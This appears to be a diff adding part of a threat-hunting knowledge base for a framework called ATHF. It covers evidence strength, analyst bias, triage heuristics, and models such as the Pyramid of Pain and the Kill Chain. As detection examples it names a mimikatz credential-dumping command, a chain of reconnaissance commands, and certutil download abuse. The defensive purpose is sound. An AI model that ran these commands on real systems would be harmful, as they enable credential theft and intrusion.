+ - "mimikatz.exe executed with command-line 'sekurlsa::logonpasswords' + LSASS access logged + subsequent Pass-the-Hash lateral movement confirmed"
1402
+
1403
+ **Language to Use:**
1404
+
1405
+ - "Confirmed malicious activity"
1406
+ - "Definitive evidence"
1407
+ - "Verified compromise"
1408
+ - "Confirmed IOC match"
1409
+
1410
+ **Action:** Full incident response, containment, eradication, legal/regulatory notification if required
1411
+
1412
+ ### Evidence Strength Framework
1413
+
1414
+ **Direct Evidence** (Strongest)
1415
+
1416
+ - Observes the actual malicious action
1417
+ - Example: Process execution log showing mimikatz.exe with credential dumping command
1418
+ - Example: Packet capture showing exfiltration of sensitive file
1419
+ - Example: File hash matching known malware in malware database
1420
+
1421
+ **Circumstantial Evidence** (Moderate)
1422
+
1423
+ - Suggests malicious activity but doesn't directly observe it
1424
+ - Example: LSASS access by unknown process (suggests credential dumping attempt)
1425
+ - Example: High-volume failed authentication (suggests brute force attempt)
1426
+ - Example: Encoded PowerShell command (suggests obfuscation, but could be legitimate)
1427
+
1428
+ **Inferential Evidence** (Weaker)
1429
+
1430
+ - Requires assumption or correlation to indicate malicious activity
1431
+ - Example: Network traffic to newly registered domain (could be legitimate new service)
1432
+ - Example: File in Temp directory (common for both malware and legitimate software)
1433
+ - Example: Process execution at unusual hour (could be automation or attacker)
1434
+
1435
+ **Evidence Combination Strategy:**
1436
+
1437
+ - **1 Direct** = High Confidence finding
1438
+ - **1 Circumstantial + 2-3 Supporting Circumstantial** = Medium-High Confidence
1439
+ - **Multiple Inferential** = Low-Medium Confidence (requires more investigation)
1440
+ - **1 Direct + Multiple Circumstantial** = Very High Confidence
1441
+
1442
+ ### Cognitive Bias Checklist
1443
+
1444
+ **Use this checklist to avoid common analytical biases during hunts.**
1445
+
1446
+ #### 1. Confirmation Bias
1447
+
1448
+ **Risk:** Seeking evidence that confirms hypothesis while ignoring contradictory evidence
1449
+
1450
+ **Mitigation:**
1451
+
1452
+ - Actively seek disconfirming evidence: "What would prove this is benign?"
1453
+ - Challenge hypothesis: "Could this be legitimate activity?"
1454
+ - Review alternative explanations before concluding
1455
+ - Have peer review findings before high-confidence escalation
1456
+
1457
+ **Example:**
1458
+
1459
+ - Hypothesis: "This PowerShell execution is malicious"
1460
+ - Bias: Focus on encoded command, ignore that it's scheduled task from known admin script
1461
+ - Mitigation: Check process parent, command context, scheduled task author → Find benign
1462
+
1463
+ #### 2. Anchoring Bias
1464
+
1465
+ **Risk:** Over-relying on first piece of information (initial alert, first indicator)
1466
+
1467
+ **Mitigation:**
1468
+
1469
+ - Treat initial alert as starting point, not conclusion
1470
+ - Collect full context before forming opinion
1471
+ - Re-evaluate initial indicator in light of additional evidence
1472
+ - Be willing to change assessment as evidence accumulates
1473
+
1474
+ **Example:**
1475
+
1476
+ - Anchor: "Alert says 'Suspicious PowerShell'"
1477
+ - Bias: Assume malicious without investigation
1478
+ - Mitigation: Investigate parent process, command content, user context → May find false positive
1479
+
1480
+ #### 3. Availability Bias
1481
+
1482
+ **Risk:** Overestimating likelihood of recent or memorable attacks (recency effect)
1483
+
1484
+ **Mitigation:**
1485
+
1486
+ - Base assessment on evidence, not recent headlines
1487
+ - Don't assume every phishing attempt is APT just because recent news
1488
+ - Use base rates: Most alerts are false positives, not sophisticated APT
1489
+
1490
+ **Example:**
1491
+
1492
+ - Recent news: "Ransomware surge in healthcare"
1493
+ - Bias: Treat every suspicious file as ransomware precursor
1494
+ - Mitigation: Assess each finding on its own merits, not recent trends
1495
+
1496
+ #### 4. Base Rate Neglect
1497
+
1498
+ **Risk:** Ignoring probability of event (most alerts are false positives)
1499
+
1500
+ **Mitigation:**
1501
+
1502
+ - Remember: ~90%+ of alerts are false positives in most environments
1503
+ - Apply Bayesian thinking: Prior probability + evidence = posterior probability
1504
+ - Don't escalate low-quality evidence as high confidence
1505
+
1506
+ **Example:**
1507
+
1508
+ - Finding: Unusual process execution
1509
+ - Bias: Assume compromise (ignoring that unusual ≠ malicious usually)
1510
+ - Mitigation: Check base rate of this process, investigate context
1511
+
1512
+ #### 5. Hindsight Bias
1513
+
1514
+ **Risk:** After finding root cause, assuming it was "obvious all along"
1515
+
1516
+ **Mitigation:**
1517
+
1518
+ - Document reasoning process, not just conclusion
1519
+ - Capture what was unclear at time of analysis
1520
+ - Learn from difficult-to-detect cases (improve future hunts)
1521
+
1522
+ **Example:**
1523
+
1524
+ - Post-IR: "The web shell was obviously suspicious"
1525
+ - Bias: Forgetting that it wasn't obvious until investigation
1526
+ - Mitigation: Document the actual investigation path, what was hard
1527
+
1528
+ #### 6. Attribution Bias
1529
+
1530
+ **Risk:** Jumping to conclusions about who/why before sufficient evidence
1531
+
1532
+ **Mitigation:**
1533
+
1534
+ - Focus on what happened (TTPs, IOCs) before why/who
1535
+ - Attribution is difficult, requires extensive evidence
1536
+ - Avoid labeling "APT" or specific group without high confidence
1537
+
1538
+ **Example:**
1539
+
1540
+ - Finding: Sophisticated lateral movement
1541
+ - Bias: "This must be nation-state APT"
1542
+ - Mitigation: Document TTPs, avoid premature attribution, consider alternatives (ransomware gang, insider)
1543
+
1544
+ ### Suspicious vs Benign Behavior Rules of Thumb
1545
+
1546
+ **Use these heuristics for rapid triage (but always investigate further):**
1547
+
1548
+ #### Rule 1: Context is King
1549
+
1550
+ - **Same behavior, different context = different verdict**
1551
+ - PowerShell from scheduled task by admin account = Likely benign
1552
+ - PowerShell from Excel process by user account = Suspicious
1553
+
1554
+ #### Rule 2: Timing Matters
1555
+
1556
+ - Activity during business hours = Lower suspicion
1557
+ - Activity at 2am on weekend = Higher suspicion (unless known maintenance)
1558
+ - But: Advanced attackers work business hours to blend in
1559
+
1560
+ #### Rule 3: Parent Process Reveals Intent
1561
+
1562
+ - cmd.exe parent = explorer.exe (user double-click) = Context dependent
1563
+ - cmd.exe parent = w3wp.exe (web server) = Highly suspicious
1564
+ - cmd.exe parent = svchost.exe (service) = Likely benign
1565
+
1566
+ #### Rule 4: Rare ≠ Malicious
1567
+
1568
+ - First time user accessed system = Investigate, but not automatically bad
1569
+ - New process on network = Check purpose, not automatically malicious
1570
+ - Unusual ≠ Unauthorized
1571
+
1572
+ #### Rule 5: Clusters Increase Confidence
1573
+
1574
+ - 1 reconnaissance command = Low suspicion
1575
+ - 5 reconnaissance commands in sequence = High suspicion (whoami && ipconfig && net user && net group)
1576
+
1577
+ #### Rule 6: Legitimate Tools Used Maliciously
1578
+
1579
+ - certutil.exe downloading file = Suspicious (LOLBin abuse)
1580
+ - certutil.exe checking certificate = Benign (normal function)
1581
+ - Same tool, different arguments = different risk
1582
+
1583
+ #### Rule 7: Obfuscation = Red Flag
1584
+
1585
+ - Clear readable script = Lower suspicion (still investigate)
1586
+ - Base64 encoded / heavily obfuscated = Higher suspicion
1587
+ - Adversaries obfuscate, admins rarely do (without good reason)
1588
+
1589
+ #### Rule 8: Persistence = Intention to Return
1590
+
1591
+ - One-off execution = Could be testing or transient
1592
+ - Scheduled task / service creation = Adversary planning to persist
1593
+ - Persistence mechanism = Escalate priority
1594
+
1595
+ #### Rule 9: Network Context
1596
+
1597
+ - Connection to known corporate domain = Benign
1598
+ - Connection to newly registered domain (<30 days) = Suspicious
1599
+ - Connection to IP (not domain) over HTTPS = Suspicious
1600
+
1601
+ #### Rule 10: Credential Context
1602
+
1603
+ - Service account authentication pattern = Benign (regular interval)
1604
+ - Service account authentication from workstation = Suspicious
1605
+ - User account authentication from server = Investigate (admin action or compromise?)
1606
+
1607
+ ### "Stop vs Continue" Criteria for Hunts
1608
+
1609
+ **Stop Hunting (Conclude Hunt) When:**
1610
+
1611
+ 1. **Hypothesis Answered**
1612
+ - Collected sufficient evidence to prove or disprove hypothesis
1613
+ - Example: "Hypothesis: Kerberoasting occurring" → No TGS requests with unusual patterns found → Hypothesis disproved
1614
+
1615
+ 2. **Clear False Positive**
1616
+ - Investigation reveals benign activity with documentation
1617
+ - Example: "Suspicious PowerShell" → Found scheduled task with approved change ticket → False positive
1618
+
1619
+ 3. **Time/Resource Budget Exhausted**
1620
+ - Allocated hunt time spent, document progress for future iteration
1621
+ - Example: 4-hour hunt block complete, findings documented, no critical issues
1622
+
1623
+ 4. **Diminishing Returns**
1624
+ - Additional investigation yields no new valuable information
1625
+ - Example: Reviewed 1000 events, all benign, no new patterns emerging
1626
+
1627
+ 5. **Scope Creep**
1628
+ - Investigation diverged from original hypothesis significantly
1629
+ - Example: Started hunting SSH brute force, now investigating unrelated DNS anomaly → Refocus or create new hunt
1630
+
1631
+ 6. **Escalated to Incident Response**
1632
+ - Found definitive compromise, now IR team's responsibility
1633
+ - Example: Confirmed web shell → IR takes over, hunt concluded as successful detection
1634
+
1635
+ **Continue Hunting (Keep Investigating) When:**
1636
+
1637
+ 1. **Promising Lead Not Fully Explored**
1638
+ - Found interesting artifact but haven't pivoted fully
1639
+ - Example: Found suspicious process, haven't checked network connections yet
1640
+
1641
+ 2. **Conflicting Evidence**
1642
+ - Some evidence suggests malicious, some suggests benign → Investigate further
1643
+ - Example: Unusual authentication pattern but user has legitimate reason → Verify with user
1644
+
1645
+ 3. **Medium Confidence Finding**
1646
+ - Not certain enough to escalate or dismiss
1647
+ - Example: Unusual file creation, need to check if file was executed
1648
+
1649
+ 4. **Pattern Emerging**
1650
+ - Multiple weak signals correlating into stronger signal
1651
+ - Example: 3 separate minor anomalies on same host within 1 hour → Investigate as potential campaign
1652
+
1653
+ 5. **High-Risk Scope**
1654
+ - Investigating critical systems (DC, financial DB) where thoroughness is required
1655
+ - Example: Unusual activity on domain controller → Investigate exhaustively
1656
+
1657
+ 6. **Learning Opportunity**
1658
+ - False positive is complex enough that understanding it improves future hunts
1659
+ - Example: New automation process generating alerts → Document for baseline, improve filters
1660
+
1661
+ ### How to Handle Contradictory Evidence
1662
+
1663
+ **Scenario:** Evidence points both toward malicious and benign explanations
1664
+
1665
+ **Approach:**
1666
+
1667
+ 1. **Document Both Sides**
1668
+ - List evidence supporting malicious interpretation
1669
+ - List evidence supporting benign interpretation
1670
+ - Don't ignore contradictions
1671
+
1672
+ 2. **Seek Tie-Breaker Evidence**
1673
+ - What additional artifact would resolve contradiction?
1674
+ - Example: Process looks suspicious but if signed by Microsoft = Benign
1675
+ - Go find that artifact (check digital signature)
1676
+
1677
+ 3. **Apply Occam's Razor**
1678
+ - Simplest explanation usually correct
1679
+ - Malicious: "Attacker compromised system, installed sophisticated evasion, mimicking normal activity"
1680
+ - Benign: "Legitimate software behaving as designed"
1681
+ - If both fit, benign usually more likely (but verify)
1682
+
1683
+ 4. **Consider Base Rates**
1684
+ - How common is this behavior in environment?
1685
+ - If seen 1000 times before and always benign → Likely benign now
1686
+ - If first time ever → Requires more investigation
1687
+
1688
+ 5. **Escalate for Peer Review**
1689
+ - When you can't resolve, get second opinion
1690
+ - Fresh eyes may spot what you missed
1691
+ - Collaboration reduces bias
1692
+
1693
+ 6. **Document Uncertainty**
1694
+ - It's OK to say "Unclear, requires monitoring"
1695
+ - Don't force conclusion if evidence insufficient
1696
+ - Set up alert for recurrence, revisit with more data
1697
+
1698
+ **Example:**
1699
+
1700
+ - Finding: PowerShell execution with encoded command
1701
+ - Malicious Evidence: Encoding, unusual parent process (browser)
1702
+ - Benign Evidence: Digital signature valid, common user account, business hours
1703
+ - Tie-Breaker: Decode command → Reveals legitimate software update script
1704
+ - Conclusion: Benign, update baseline to expect this
1705
+
1706
+ ---
1707
+
1708
+ ## Section 5: Framework Mental Models
1709
+
1710
+ ### Pyramid of Pain (David Bianco)
1711
+
1712
+ **Purpose:** Understand the relative value of different indicator types. Focus hunting on high-value indicators that are painful for adversaries to change.
1713
+
1714
+ **The Pyramid (Bottom to Top, Least to Most Painful):**
1715
+
1716
+ #### Level 1: Hash Values (Trivial Pain)
1717
+
1718
+ **Definition:** File hashes (MD5, SHA1, SHA256)
1719
+
1720
+ **Value:** LOW
1721
+
1722
+ - Adversary can change with trivial effort (recompile, add byte)
1723
+ - Useful for known malware detection (signature-based)
1724
+ - Not useful for hunting (adversary already moved on)
1725
+
1726
+ **Example:**
1727
+
1728
+ - Detecting: "Block SHA256: abc123... (known malware)"
1729
+ - Evasion: Adversary changes one byte, new hash
1730
+ - Hunt Value: Only if hunting for specific known malware sample
1731
+
1732
+ **ATHF Application:**
1733
+
1734
+ - Don't build hunts around hashes unless hunting specific known campaign
1735
+ - Use hashes for confirmation, not discovery
1736
+ - Focus on behaviors that produce the files, not files themselves
1737
+
1738
+ #### Level 2: IP Addresses (Easy Pain)
1739
+
1740
+ **Definition:** Network indicators (IPs, domains)
1741
+
1742
+ **Value:** LOW-MEDIUM
1743
+
1744
+ - Adversary can change easily (new VPS, domain)
1745
+ - Useful for blocking active C2
1746
+ - Limited hunt value (IPs change frequently)
1747
+
1748
+ **Example:**
1749
+
1750
+ - Detecting: "Block connections to 1.2.3.4 (known C2)"
1751
+ - Evasion: Adversary spins up new infrastructure at 5.6.7.8
1752
+ - Hunt Value: Find other systems communicating with known-bad IP (campaign scope)
1753
+
1754
+ **ATHF Application:**
1755
+
1756
+ - Use IPs to pivot (IP → systems that contacted it)
1757
+ - Hunt for behavioral patterns (beaconing, not specific IP)
1758
+ - Don't rely on IP blocklists alone (they're point-in-time)
1759
+
1760
+ #### Level 3: Domain Names (Simple Pain)
1761
+
1762
+ **Definition:** Domains used for C2, phishing, hosting
1763
+
1764
+ **Value:** MEDIUM
1765
+
1766
+ - More painful than IPs (cost, registration, reputation)
1767
+ - Adversary can change but with more effort
1768
+ - Better hunt value (domains persist longer)
1769
+
1770
+ **Example:**
1771
+
1772
+ - Detecting: "Block malicious-domain.xyz"
1773
+ - Evasion: Adversary registers new-domain.tk
1774
+ - Hunt Value: Find DGA patterns, newly registered domains, suspicious TLDs
1775
+
1776
+ **ATHF Application:**
1777
+
1778
+ - Hunt for domain characteristics (age, TLD, length, entropy)
1779
+ - Identify C2 domains by behavior (beaconing pattern), not just name
1780
+ - Pivot: Find all systems that resolved/connected to suspicious domain (See H-0001.md IP pivot example)
1781
+
1782
+ #### Level 4: Network/Host Artifacts (Annoying Pain)
1783
+
1784
+ **Definition:** Patterns and artifacts adversary leaves behind
1785
+
1786
+ **Value:** MEDIUM-HIGH
1787
+
1788
+ - Requires adversary to change tools or techniques
1789
+ - Examples: User-agent strings, URI patterns, registry keys, file paths
1790
+
1791
+ **Example:**
1792
+
1793
+ - Detecting: "Alert on User-Agent: 'Mozilla/5.0 (Cobalt Strike)'"
1794
+ - Evasion: Adversary changes beacon profile, new user-agent
1795
+ - Hunt Value: Find variations of tools (same family, different config)
1796
+
1797
+ **ATHF Application:**
1798
+
1799
+ - Hunt for artifact patterns, not exact matches
1800
+ - Example: PowerShell download cradles (many variations, same pattern)
1801
+ - Example: Cron job with curl pattern (See H-0002.md)
1802
+ - Look for file paths (C:\ProgramData\malware.exe), registry keys (Run keys)
1803
+
1804
+ #### Level 5: Tools (Challenging Pain)
1805
+
1806
+ **Definition:** Attacker tools and utilities
1807
+
1808
+ **Value:** HIGH
1809
+
1810
+ - Painful to change (development effort, testing, operational familiarity)
1811
+ - Examples: mimikatz, Cobalt Strike, custom malware families
1812
+
1813
+ **Example:**
1814
+
1815
+ - Detecting: "Detect Cobalt Strike beacon behavior"
1816
+ - Evasion: Adversary must switch to different C2 framework (Meterpreter, Sliver)
1817
+ - Hunt Value: Force adversary to change toolset, disrupt operations
1818
+
1819
+ **ATHF Application:**
1820
+
1821
+ - Hunt for tool behaviors, not just signatures
1822
+ - Example: mimikatz → Hunt LSASS access patterns, not binary name
1823
+ - Example: Cobalt Strike → Hunt named pipe patterns, injection techniques
1824
+ - Focus on "how the tool works" not "tool file detected"
1825
+
1826
+ #### Level 6: TTPs (Tactics, Techniques, Procedures) (Tough Pain)
1827
+
1828
+ **Definition:** The adversary's methods and behaviors (MITRE ATT&CK)
1829
+
1830
+ **Value:** HIGHEST
1831
+
1832
+ - Most painful for adversary to change (requires operational overhaul)
1833
+ - Fundamental to how adversary operates
1834
+ - TTPs persist across campaigns, tools, infrastructure
1835
+
1836
+ **Example:**
1837
+
1838
+ - Detecting: "Detect credential dumping behavior (T1003)"
1839
+ - Evasion: Adversary must find entirely different technique for credential access
1840
+ - Hunt Value: Detects adversary regardless of tools, IPs, domains
1841
+
1842
+ **ATHF Application:**
1843
+
1844
+ - BUILD HUNTS AROUND TTPs, not indicators
1845
+ - Example: Hunt "process injection behavior" not "specific tool"
1846
+ - Example: Hunt "living-off-the-land binary abuse" not "specific binary"
1847
+ - Focus on MITRE ATT&CK techniques (See all ATHF hunt examples)
1848
+ - This is the CORE PRINCIPLE of ATHF
1849
+
1850
+ **Pyramid Application to Hypothesis Generation:**
1851
+
1852
+ **Bad Hypothesis (Bottom of Pyramid):**
1853
+ "Hunt for hash abc123 on endpoints"
1854
+
1855
+ - Problem: Trivial to evade, limited value
1856
+
1857
+ **Better Hypothesis (Middle of Pyramid):**
1858
+ "Hunt for connections to domain malicious.xyz"
1859
+
1860
+ - Better: Some value, but adversary changes easily
1861
+
1862
+ **Best Hypothesis (Top of Pyramid):**
1863
+ "Hunt for credential dumping via LSASS process access (T1003.001)"
1864
+
1865
+ - Best: Behavior-based, hard to evade, high value
1866
+
1867
+ **ATHF Mandate:** All hunts should target Level 4-6 of Pyramid (Artifacts/Tools/TTPs), never Level 1-2 (Hashes/IPs) alone.
1868
+
1869
+ ### Diamond Model (Sergio Caltagirone, Andrew Pendergast, Chris Betz)
1870
+
1871
+ **Purpose:** Understand relationships between four core features of intrusion analysis. Use to pivot between detection points and understand adversary operations.
1872
+
1873
+ **The Four Points:**
1874
+
1875
+ #### 1. Adversary
1876
+
1877
+ **Who is conducting the activity?**
1878
+
1879
+ - Attribution (often difficult, not always necessary)
1880
+ - Adversary capabilities, motivations, intent
1881
+ - Operator (human) and Customer (who benefits)
1882
+
1883
+ **Hunt Application:**
1884
+
1885
+ - Usually unknown at hunt start
1886
+ - May be inferred from TTPs (APT29 uses technique X)
1887
+ - Don't fixate on attribution; focus on stopping behavior
1888
+
1889
+ #### 2. Capability
1890
+
1891
+ **What tools, malware, exploits are used?**
1892
+
1893
+ - Malware families, tools (mimikatz, Cobalt Strike)
1894
+ - Exploits (Log4Shell, EternalBlue)
1895
+ - TTPs and techniques
1896
+
1897
+ **Hunt Application:**
1898
+
1899
+ - Start here when hunting tool-specific behavior
1900
+ - Example: "Hunt for Cobalt Strike beaconing"
1901
+ - Pivot: Capability → Infrastructure (what C2 does it connect to?)
1902
+
1903
+ #### 3. Infrastructure
1904
+
1905
+ **What systems, IPs, domains does adversary use?**
1906
+
1907
+ - C2 servers, phishing domains, compromised websites
1908
+ - Hosting providers, IP ranges, ASNs
1909
+
1910
+ **Hunt Application:**
1911
+
1912
+ - Pivot point for scope assessment
1913
+ - Example: Found malicious domain → Find all systems that contacted it
1914
+ - Infrastructure is often shared across campaigns (hunt for reuse)
1915
+
1916
+ #### 4. Victim
1917
+
1918
+ **Who or what is being targeted?**
1919
+
1920
+ - Targeted systems, users, data
1921
+ - Organizations, industries, geographies
1922
+
1923
+ **Hunt Application:**
1924
+
1925
+ - Understand what adversary wants (target selection)
1926
+ - Example: All victims are finance dept → Adversary wants financial data
1927
+ - Prioritize protection of high-value targets
1928
+
1929
+ **The Model Relationships:**
1930
+
1931
+ ```
1932
+ Adversary
1933
+ / \
1934
+ / \
1935
+ / \
1936
+ Capability—Infrastructure
1937
+ \ /
1938
+ \ /
1939
+ \ /
1940
+ Victim
1941
+ ```
1942
+
1943
+ **Core Insight:** These four features are connected. Finding one allows you to pivot to others.
1944
+
1945
+ **Pivot Examples:**
1946
+
1947
+ **Starting Point: Capability (Malware detected)**
1948
+
1949
+ - Capability → Infrastructure: What C2 does this malware connect to?
1950
+ - Capability → Victim: What other systems have this malware?
1951
+ - Capability → Adversary: What group is known to use this malware?
1952
+
1953
+ **Starting Point: Infrastructure (Suspicious domain detected)**
1954
+
1955
+ - Infrastructure → Victim: What systems in our network contacted this domain?
1956
+ - Infrastructure → Capability: What malware uses this C2?
1957
+ - Infrastructure → Adversary: Who operates this infrastructure?
1958
+
1959
+ **Starting Point: Victim (Compromised user account)**
1960
+
1961
+ - Victim → Capability: What tools were used to compromise account?
1962
+ - Victim → Infrastructure: Where did malicious authentication come from?
1963
+ - Victim → Adversary: Why was this user/system targeted? (job role, access)
1964
+
1965
+ **ATHF Application:**
1966
+ Use Diamond Model to structure pivots:
1967
+
1968
+ - Start with what you know (usually Capability or Infrastructure from detection)
1969
+ - Pivot to Victim (scope of compromise)
1970
+ - Pivot to Infrastructure (other adversary resources)
1971
+ - Pivot to Capability (other tools adversary has)
1972
+ - Optionally: Consider Adversary (attribution, if relevant)
1973
+
1974
+ **Example Hunt Using Diamond Model:**
1975
+
1976
+ 1. **Start:** Suspicious PowerShell execution detected (Capability)
1977
+ 2. **Pivot:** PowerShell connects to suspicious domain (Infrastructure)
1978
+ 3. **Pivot:** Find all internal systems that contacted same domain (Victim scope)
1979
+ 4. **Pivot:** Examine those systems for same capability (other malware instances)
1980
+ 5. **Analyze:** What do victim systems have in common? (target selection pattern)
1981
+ 6. **Optional:** Do TTPs match known adversary? (Attribution)
1982
+
1983
+ ### Cyber Kill Chain (Lockheed Martin)
1984
+
1985
+ **Purpose:** Understand attack progression stages. Hunt at early stages to prevent later-stage impact.
1986
+
1987
+ **The Seven Stages:**
1988
+
1989
+ #### 1. Reconnaissance
1990
+
1991
+ **Adversary researches target**
1992
+
1993
+ - Examples: Port scanning, OSINT, social media scraping, employee enumeration
1994
+ - Hunt Opportunity: External honeypots, perimeter scanning detection (often not internal hunt)
1995
+
1996
+ #### 2. Weaponization
1997
+
1998
+ **Adversary creates exploit/payload**
1999
+
2000
+ - Examples: Malicious document creation, exploit development
2001
+ - Hunt Opportunity: Limited (happens on adversary infrastructure)
2002
+
2003
+ #### 3. Delivery
2004
+
2005
+ **Adversary delivers weapon to target**
2006
+
2007
+ - Examples: Phishing email, watering hole, exploit kit
2008
+ - **Hunt Opportunity: HIGH** - Detect delivery before execution
2009
+ - Observables: Email attachments, suspicious downloads, web exploitation
2010
+
2011
+ #### 4. Exploitation
2012
+
2013
+ **Weapon exploits vulnerability**
2014
+
2015
+ - Examples: Macro execution, vulnerability trigger, user double-click
2016
+ - **Hunt Opportunity: HIGH** - Detect exploitation before persistence
2017
+ - Observables: Process execution from Office apps, web server spawning shells
2018
+
2019
+ #### 5. Installation
2020
+
2021
+ **Adversary establishes persistence**
2022
+
2023
+ - Examples: Scheduled tasks, services, registry run keys, cron jobs
2024
+ - **Hunt Opportunity: CRITICAL** - Detect before long-term access established
2025
+ - Observables: Scheduled task creation, service installation, cron modifications (See H-0002.md)
2026
+
2027
+ #### 6. Command and Control (C2)
2028
+
2029
+ **Adversary establishes communication channel**
2030
+
2031
+ - Examples: HTTP beaconing, DNS tunneling, encrypted channels
2032
+ - **Hunt Opportunity: HIGH** - Detect before adversary takes action
2033
+ - Observables: Beaconing patterns, unusual network connections, DGA domains
2034
+
2035
+ #### 7. Actions on Objectives
2036
+
2037
+ **Adversary achieves goal**
2038
+
2039
+ - Examples: Data exfiltration, ransomware encryption, system destruction
2040
+ - **Hunt Opportunity: LAST RESORT** - Detect damage in progress, minimize impact
2041
+ - Observables: Large data uploads, file encryption, credential harvesting
2042
+
2043
+ **ATHF Hunt Prioritization by Stage:**
2044
+
2045
+ **Highest Value Hunts:**
2046
+
2047
+ - **Delivery (Stage 3):** Phishing detection, exploit detection
2048
+ - **Exploitation (Stage 4):** Suspicious process execution, vulnerability exploitation
2049
+ - **Installation (Stage 5):** Persistence mechanism detection
2050
+ - **C2 (Stage 6):** Beaconing detection, network anomalies
2051
+
2052
+ **Lower Value (Later Stage):**
2053
+
2054
+ - **Actions on Objectives (Stage 7):** Damage already in progress, but can minimize impact
2055
+
2056
+ **Hunt Strategy:**
2057
+
2058
+ - Build detections for Stages 3-6 (Delivery through C2)
2059
+ - Earlier detection = more adversary effort wasted
2060
+ - "Shift left" → Catch adversaries as early as possible
2061
+
2062
+ **Example: SSH Brute Force Hunt (H-0001.md) Mapped to Kill Chain:**
2063
+
2064
+ - Stage 3 (Delivery): SSH authentication attempts delivered
2065
+ - Stage 4 (Exploitation): Password guessing exploitation attempt
2066
+ - Stage 5 (Installation): If successful, adversary establishes SSH key persistence
2067
+ - Hunt catches at Stage 3-4, before Installation (early detection)
2068
+
2069
+ **Example: Cron Persistence Hunt (H-0002.md) Mapped to Kill Chain:**
2070
+
2071
+ - Assumes adversary already at Stage 5 (Installation via cron)
2072
+ - Hunt detects persistence before Stage 6 (C2) or Stage 7 (Actions)
2073
+ - Still valuable, but later stage than ideal
2074
+
2075
+ **ATHF Recommendation:**
2076
+
2077
+ - Focus hypothesis generation on Stages 3-6
2078
+ - Build hunts that catch adversaries before Actions on Objectives
2079
+ - When you detect Stage 7, pivot back to understand Stages 3-6 (IR mode)
2080
+
2081
+ ### Hunt Maturity Model
2082
+
2083
+ **Purpose:** Understand your organization's hunting maturity. Set realistic goals for capability development.
2084
+
2085
+ **Maturity Levels (HMM):**
2086
+
2087
+ #### HMM0: Initial (Ad-Hoc)
2088
+
2089
+ **Characteristics:**
2090
+
2091
+ - Reactive hunting, triggered by alerts or incidents
2092
+ - No formal process, inconsistent execution
2093
+ - Limited documentation
2094
+ - Tools: Manual queries, basic SIEM searches
2095
+
2096
+ **ATHF Equivalent:** Not using framework, hunting when incidents occur
2097
+
2098
+ **Progression Goal:** Establish process, begin documentation (adopt ATHF Level 1)
2099
+
2100
+ #### HMM1: Minimal (Documented)
2101
+
2102
+ **Characteristics:**
2103
+
2104
+ - Documented hunt hypotheses (LOCK pattern)
2105
+ - Repeatable process exists
2106
+ - Learning captured in hunt documentation
2107
+ - Still largely reactive, but systematic
2108
+
2109
+ **ATHF Equivalent:** ATHF Level 1 (Documented) - Using templates, writing hunts
2110
+
2111
+ **Progression Goal:** Move to regular cadence, build hypothesis backlog
2112
+
2113
+ #### HMM2: Procedural (Scheduled)
2114
+
2115
+ **Characteristics:**
2116
+
2117
+ - Regular hunt cadence (weekly, monthly)
2118
+ - Hunt hypothesis backlog maintained
2119
+ - Team collaboration on hunts
2120
+ - Metrics tracked (hunts completed, findings)
2121
+
2122
+ **ATHF Equivalent:** ATHF Level 2 (Searchable) - AI-assisted, memory-enabled
2123
+
2124
+ **Progression Goal:** Proactive hunting, threat-informed priorities
2125
+
2126
+ #### HMM3: Innovative (Proactive)
2127
+
2128
+ **Characteristics:**
2129
+
2130
+ - Threat intelligence driving hunt priorities
2131
+ - Proactive TTP coverage (not just reactive)
2132
+ - Hunt outcomes feed detection engineering
2133
+ - Continuous improvement of hunt techniques
2134
+
2135
+ **ATHF Equivalent:** ATHF Level 3 (Generative) - AI generates hunt ideas based on TI
2136
+
2137
+ **Progression Goal:** Automation of routine hunts, advanced analytics
2138
+
2139
+ #### HMM4: Leading (Automated)
2140
+
2141
+ **Characteristics:**
2142
+
2143
+ - Automated hunt execution for routine hypotheses
2144
+ - Advanced analytics (ML, behavioral baselining)
2145
+ - Hunt program influences industry (research, sharing)
2146
+ - Adversary TTP research informs hunt development
2147
+
2148
+ **ATHF Equivalent:** ATHF Level 4 (Agentic) - Automated hunt execution, AI orchestration
2149
+
2150
+ **Progression Goal:** Maintain leadership, continuous innovation
2151
+
2152
+ **ATHF Maturity Alignment:**
2153
+
2154
+ | ATHF Level | HMM Level | Key Capability |
2155
+ |-----------|-----------|---------------|
2156
+ | Level 0 (Manual) | HMM0 (Initial) | Ad-hoc hunting |
2157
+ | Level 1 (Documented) | HMM1 (Minimal) | Process + templates |
2158
+ | Level 2 (Searchable) | HMM2 (Procedural) | Memory + AI assistance |
2159
+ | Level 3 (Generative) | HMM3 (Innovative) | AI-generated hunts |
2160
+ | Level 4 (Agentic) | HMM4 (Leading) | Automated execution |
2161
+
2162
+ **Maturity Progression Strategy:**
2163
+
2164
+ - Start at Level 1: Use ATHF templates, document hunts
2165
+ - Grow to Level 2: Enable AI memory, search past hunts
2166
+ - Advance to Level 3: AI generates hypotheses from TI
2167
+ - Reach Level 4: Automate routine hunts, focus humans on novel hunts
2168
+
2169
+ **Current ATHF User:** Likely Level 1-2 (using this knowledge base = Level 2 capability)
2170
+
2171
+ ### Data Quality Dimensions
2172
+
2173
+ **Purpose:** Assess data quality for hunting. Poor data quality = unreliable findings.
2174
+
2175
+ **Five Dimensions:**
2176
+
2177
+ #### 1. Completeness
2178
+
2179
+ **Definition:** Do we have all the data we need?
2180
+
2181
+ **Assessment Questions:**
2182
+
2183
+ - Are all systems sending logs?
2184
+ - Are all relevant log sources ingested (process, network, auth)?
2185
+ - Are there coverage gaps (some servers not monitored)?
2186
+
2187
+ **Impact on Hunting:**
2188
+
2189
+ - Incomplete data = blind spots
2190
+ - Can't hunt TTPs where telemetry doesn't exist
2191
+ - May miss adversary activity on unmonitored systems
2192
+
2193
+ **Example:**
2194
+
2195
+ - Hypothesis: "Hunt for lateral movement via SMB"
2196
+ - Problem: Only 60% of servers logging SMB access
2197
+ - Impact: Can only hunt 60% of environment, false confidence
2198
+
2199
+ **ATHF Application:**
2200
+
2201
+ - Check environment.md for known gaps before hunting
2202
+ - Document telemetry gaps found during hunting
2203
+ - Prioritize visibility improvements
2204
+
2205
+ #### 2. Timeliness
2206
+
2207
+ **Definition:** How quickly does data arrive for analysis?
2208
+
2209
+ **Assessment Questions:**
2210
+
2211
+ - What is log ingestion latency? (Real-time? 5 min? 1 hour?)
2212
+ - Are there delays in specific data sources?
2213
+ - Can we hunt "right now" or only historical data?
2214
+
2215
+ **Impact on Hunting:**
2216
+
2217
+ - Delayed data = slower detection
2218
+ - Real-time hunting requires real-time ingestion
2219
+ - IR response time depends on data timeliness
2220
+
